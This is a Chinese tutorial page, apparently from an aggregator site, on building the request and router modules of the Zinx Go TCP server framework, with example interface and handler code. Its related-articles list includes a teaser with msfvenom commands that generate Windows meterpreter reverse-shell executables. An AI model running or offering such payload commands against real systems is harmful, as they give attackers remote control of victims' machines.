Zinx框架学习 - 请求与路由模块实现

news2024/12/30 2:10:18

Zinx - V0.3 请求与路由模块实现

  • 在zinxV0.2中链接只封装了套接字,而请求是封装了链接和用户传输的数据,后续通过请求来识别具体要实现什么功能,然后通过路由来完成对应的功能处理。conn链接的业务处理HandleFunc是固定写死的,接下来我们需要自定义一个conn处理业务的接口
  • 需要定义一些interface来让用户填写任意格式的链接处理业务方法

Request消息请求

Request请求封装的目的就是将连接和客户端读到的数据绑定在一起,封装成一个Request,以一个Request作为一次请求的原子数据包,这样的好处是我们可以从Request里得到全部客户端的请求信息;每次客户端的全部请求数据,Zinx都会把它们一起放到一个Request结构体里

irequest.go

package ziface

//IReqeust接口:
//实际上是把客户端请求的链接信息, 和 请求的数据 包装到了一个Request中
type IRequest interface {
	//得到当前链接
	GetConnection() IConneciton

	//得到请求的消息数据
	GetData() []byte
}

request.go

package znet

import (
	"zinx/ziface"
)

type Request struct {
	//已经和客户端建立好的链接
	conn ziface.IConneciton
	//客户端请求的数据
	data []byte
}

//得到当前链接
func (r *Request) GetConnection() ziface.IConneciton {
	return r.conn
}

//得到请求的消息数据
func (r *Request) GetData() []byte {
	return r.data
}

Router路由模块

服务端应该给zinx框架配置当前链接的处理业务方法;之前conn链接的业务处理HandleFunc是固定写死的,现在是可以⾃定义,并且有3种接⼝可以重写(每个⽅法都有⼀个唯⼀的形参 IRequest 对象,也就是客户端请求过来的连接和请求数据,作为业务⽅法的输⼊数据),我们只需要定义一个router继承BaseRouter,重写三个方法就可以得到自定义的router

 irouter.go

package ziface

//路由抽象接口,路由里的数据都是IRequest
type IRouter interface {
	//在处理conn业务之前的钩子方法Hook
	PreHandle(request IRequest)
	//在处理conn业务的主方法hook
	Handle(request IRequest)
	//在处理conn业务之后的钩子方法Hook
	PostHandle(request IRequest)
}

需要注意的是,在实现router时,采用设计模式中的模版方法模式,先嵌入这个BaseRouter基类(定义一个空的BaseRouter结构体), 然后根据需要自定义Router可以继承该结构体,对这个基类的方法进行重写

router.go

package znet

import "zinx/ziface"

//实现router时, 先嵌入这个BaseRouter基类, 然后根据需要对这个基类的方法进行重写就好了
type BaseRouter struct{}

//这里之所以BaseRouter的方法都为空
//是因为有的Router不希望有PreHandle、PostHandle这两个业务
//所以Router全部继承BaseRouter的好处就是, 不需要实现PreHandle,PostHandle

//在处理conn业务之前的钩子方法Hook
func (br *BaseRouter) PreHandle(request ziface.IRequest) {}
//在处理conn业务的主方法hook
func (br *BaseRouter) Handle(request ziface.IRequest) {}
//在处理conn业务之后的钩子方法Hook
func (br *BaseRouter)  PostHandle(request ziface.IRequest) {}

框架集成router模块

  • IServer增添路由添加功能

因为IServer是对外暴露的抽象层,我们需要给IServer类,增加一个抽象方法AddRouter,目的也是让Zinx框架使用者,有一个入口可以自定义一个Router处理业务方法

package ziface

//定义一个服务器接口
type IServer interface {
	//启动服务器
	Start()
	//停止服务器
	Stop()
	//运行服务器
	Serve()
	//路由功能:给当前的服务注册一个路由方法,供客户端的链接处理使用
	AddRouter(router IRouter)
}
//路由功能:给当前的服务注册一个路由方法,供客户端的链接处理使用
func (s *Server) AddRouter(router ziface.IRouter) {
	s.Router = router
	fmt.Println("Add Router Succ!!")
}
  • Server类增添Router成员

有了抽象的方法,自然Server就要实现,并且还要添加一个Router成员,将router作为Server类的属性

//iServer的接口实现,定义一个Server的服务器模块
type Server struct {
	//服务器的名称
	Name string
	//服务器绑定的ip版本
	IPVersion string
	//服务器监听的IP
	IP string
	//服务器监听的端口
	Port int
	//当前的Server添加一个router,server注册的链接对应的处理业务
	Router ziface.IRouter
}
  • Connection类绑定一个Router成员

同理将router作为Connection类的属性并修改初始化连接方法(修改handeAPI)

/*
  链接模块
*/
type Connection struct {
	//当前链接的socket TCP套接字
	Conn *net.TCPConn

	//链接的ID
	ConnID uint32

	//当前的链接状态
	isClosed bool

	//告知当前链接已经退出的/停止 channel
	ExitChan chan bool

	//该链接处理的方法Router
	Router ziface.IRouter
}
//初始化链接模块的方法
func NewConnection(conn *net.TCPConn, connID uint32, router ziface.IRouter) *Connection {
	c := &Connection{
		Conn:     conn,
		ConnID:   connID,
		Router:   router,
		isClosed: false,
		ExitChan: make(chan bool, 1),
	}
	return c
}
  • 在Connection的Start()中调用注册的Router处理业务

之前我们是在StartReader()调用handleAPI,现在我们可以直接从路由中从路由中,找到注册绑定的Conn对应的router调用,但在这之前我们需要初始化一个request,得到当前conn数据的Request请求数据,需要注意的是,要开一个Goroutine去处理这三个回调,把&req作为形参传给request从而调用路由业务

//链接的读业务方法
func (c *Connection) StartReader() {
	fmt.Println(" Reader Goroutine is running...")
	defer fmt.Println("connID = ", c.ConnID, " Reader is exit, remote addr is ", c.RemoteAddr().String())
	defer c.Stop()

	for {
		//读取客户端的数据到buf中, 最大512字节
		buf := make([]byte, 512)
		_, err := c.Conn.Read(buf)
		if err != nil {
			fmt.Println("recv buf err", err)
			continue
		}

		//得到当前conn数据的Request请求数据
		req := Request{
			conn: c,
			data: buf,
		}

		//从路由中,找到注册绑定的Conn对应的router调用
		//执行注册的路由方法
		go func(request ziface.IRequest) {
			c.Router.PreHandle(request)
			c.Router.Handle(request)
			c.Router.PostHandle(request)
		}(&req)
	}
}

最后再回到server.go中,之前写死的CallBackToClient()方法,这个方法应该是由使用框架的开发者定义的,所以我们将其删除,并将NewConnection()方法中的handleAPI参数改为Router,将之前的回调函数改为路由

整体实现流程

我们在启动业务的时候调用server.go中的Start()方法,监听服务器地址,当客户端连接建立成功后会得到conn句柄,通过conn句柄和router绑定在一起NewConnection得到一个dealconn,然后开启一个Goroutine调用connection模块的Start()方法,开启StartReader()协程从客户端读取数据,将其封装成request请求,最后分别执行用户重写的三个Router函数

开发服务器应用

实现自定义的Router。我们之前已经在IServer中暴露出接口即AddRouter功能,允许我们用户配置回调业务,我们测试路由一定要继承BaseRouter并重写其三个方法

package main

import (
	"fmt"
	"zinx/ziface"
	"zinx/znet"
)

//基于Zinx框架来开发的 服务器端应用程序

//ping test 自定义路由
type PingRouter struct {
	znet.BaseRouter
}

//Test PreHandle
func (this *PingRouter) PreHandle(request ziface.IRequest) {
	fmt.Println("Call Router PreHandle...")
	_, err := request.GetConnection().GetTCPConnection().Write([]byte("before ping...\n"))
	if err != nil {
		fmt.Println("call back before ping error")
	}
}

//Test Handle
func (this *PingRouter) Handle(request ziface.IRequest) {
	fmt.Println("Call Router Handle...")
	_, err := request.GetConnection().GetTCPConnection().Write([]byte("ping...ping...ping\n"))
	if err != nil {
		fmt.Println("call back  ping...ping...ping error")
	}
}

//Test PostHandle
func (this *PingRouter) PostHandle(request ziface.IRequest) {
	fmt.Println("Call Router PostHandle...")
	_, err := request.GetConnection().GetTCPConnection().Write([]byte("after ping\n"))
	if err != nil {
		fmt.Println("call back  after ping error")
	}
}

func main() {
	//1 创建一个server句柄,使用Zinx的api
	s := znet.NewServer("[zinx V0.3]")

	//2 给当前zinx框架添加一个自定义的router
	s.AddRouter(&PingRouter{})

	//3 启动server
	s.Serve()
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/609042.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【YOLO系列】YOLO v4(网络结构图+代码)

文章目录 how to compile on Linux(using cmake)yolo v4 测试 网络结构route 和shotcutNeckHead Loss参考 YOLO v4是YOLO系列的第三篇,YOLO v4融合了大量的检测小技巧,为了能够更快地理解YOLO v4,可先查看前两篇文章。 【YOLO系列】YOLO v3&a…

K8s架构(五)

K8s的物理架构是master/node模式: K8s集群至少需要一个主节点(Master)和多个工作节点(Worker),Master节点是集群的控制节点,负责整个集群的管理和控制,主节点主要用于暴露API,调度部署和节点的管理。工作节点主要是运…

【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

前言: 大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.💌💌💌 🧑个人主页:良辰针不戳 📖所属专栏:javaEE进阶篇之框架学习 🍎励志语…

单源最短路的综合应用

1.新年好(dfs最短路) 信息学奥赛一本通(C版)在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路,求一个地方到另一个地方的最短路,在枚举5个拜访的顺序…

Vue3 小兔鲜:Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…

Android和windows(msf渗透)

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…

【TOP生物信息】使用R包Symphony自动注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1884字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; Symphony 包基本介绍 Symphony 包安装 Symphony 包使用 1.使用已有的参考数据集进行细胞注释2…

LinuxC编程——文件IO

目录 一、概念⭐⭐二、特点⭐⭐⭐三、函数⭐⭐⭐⭐3.1 打开文件 open3.2 关闭文件 close3.3 读写操作3.4 定位操作 lseek 四、文件IO与标准IO的对比脑图 在C语言的标准IO库中的库函数&#xff0c;如fclose、fopen,、fread、fwrite&#xff0c;提供的是高层服务&#xff1b;而Li…

数据在内存中的存储(超详细讲解)

目录 浮点数家族 浮点数类型在内存中的存储 一.为什么说整型和浮点数在内存中存储方式不同&#xff08;证明&#xff09; 二.浮点数的存储规则 浮点数在计算机内部的表示方法 1.对于M的存储和取出规则 2.对于E的存储和取出时的规则 对前面代码结果进行解释&#xff1a; …

Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

文章目录 前言一、APIServer Yaml文件解析APIServer证书文件APIServer三种探针启动探针可读性探针生存性探针 APIServer其他参数APIServer其他配置项 二、Scheduler Yaml文件解析Scheduler证书配置Scheduler两个探针启动探针生存性探针 Scheduler其他参数Scheduler其他配置项 三…

测试各种变量是否是线程安全的

前提条件,把这个类设成是单例模式,也就是说,这个类只能创建一个对象,然后多个线程在一个对象中去争抢资源. 1.int类型的成员变量number, (private int number) 线程共享 public class Stu {private int number;private String age;private String math;private i…

【sentinel】漏桶算法在Sentinel中的应用

漏桶算法 漏桶算法介绍 漏桶算法&#xff0c;又称leaky bucket。 从图中我们可以看到&#xff0c;整个算法其实十分简单。首先&#xff0c;我们有一个固定容量的桶&#xff0c;有水流进来&#xff0c;也有水流出去。对于流进来的水来说&#xff0c;我们无法预计一共有多少水…

内存池技术

为了学习池化技术以及后续自行实现一个仿tcmalloc的线程池&#xff0c;我们先浅浅的学习一下池化的概念&#xff0c;以及简单的实现一个定长的内存池。 文章目录 一&#xff1a;池化技术二&#xff1a;内存池三&#xff1a;内存池主要解决的问题四&#xff1a;malloc五&#x…

原地顺时针旋转矩阵(leetcode 48.选择图像)

本题目在leetcode上有原题48. 旋转图像 详细讲解 顺时针旋转90&#xff0c;横变竖&#xff0c;竖变横。按圈分解&#xff0c;一圈圈的单独转&#xff0c;由外圈到内圈&#xff0c;不断分解。 每一圈转到位了&#xff0c;整个矩阵就旋转好了。 那么&#xff0c;问题来了&…

Photoshop史上最强更新,动动手指就能让AI替你修图

Photoshop 在最新的 Beta 版本中&#xff0c;融入了 Firely 智能 AI 创意填充功能&#xff0c;只要对图片进行简单地框选&#xff0c;就能实现生成对象、生成背景、扩展图像、移除对象以及更多创意功能&#xff0c;支持用自然语言输入指令&#xff0c;让 AI 替你完成创意填充。…

Jmeter常用的两大性能测试场景你都知道吗?

目录 一、阶梯式场景 二、波浪式场景 一、阶梯式场景 该场景主要应用在负载测试里面&#xff0c;通过设定一定的并发线程数&#xff0c;给定加压规则&#xff0c;遵循“缓起步&#xff0c;快结束”的原则&#xff0c;不断地增加并发用户来找到系统的性能瓶颈&#xff0c;进而有…

SpringCloud:分布式缓存之Redis分片集群

1.搭建分片集群 主从和哨兵可以解决高可用、高并发读的问题。但是依然有两个问题没有解决&#xff1a; 海量数据存储问题 高并发写的问题 使用分片集群可以解决上述问题&#xff0c;如图: 分片集群特征&#xff1a; 集群中有多个master&#xff0c;每个master保存不同数据 …

管道通信详解

目录 一、进程通信原理 二、什么是管道 三、创建一个匿名管道 四、fork共享管道的原理 五、管道的特点 六、4中场景 七、命名管道 八、命名管道通信的原理 九、创建一个命名管道 十、上实例 一、进程通信原理 我们知道进程间相互独立&#xff0c;具有独立性。那么我们…

编译原理 SLR(1) 语法分析器的构建

编译原理 SLR(1) 语法分析器的构建 在我的博客查看&#xff1a;https://chenhaotian.top/study/compilation-principle-slr1/ 实验三 自底向上语法分析器的构建 项目代码&#xff1a;https://github.com/chen2438/zstu-study/tree/main/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%8…

冈萨雷斯DIP第10章知识点

文章目录 10.2 点、线和边缘检测10.2.2 孤立点的检测10.2.3 线检测10.2.4 边缘模型 10.3 阈值处理10.3.4 使用图像平滑改进全局阈值处理10.3.5 使用边缘改进全局阈值处理10.4 使用区域生长、区域分离与聚合进行分割 分割依据的灰度值基本性质是&#xff1a;不连续性和相似性。本…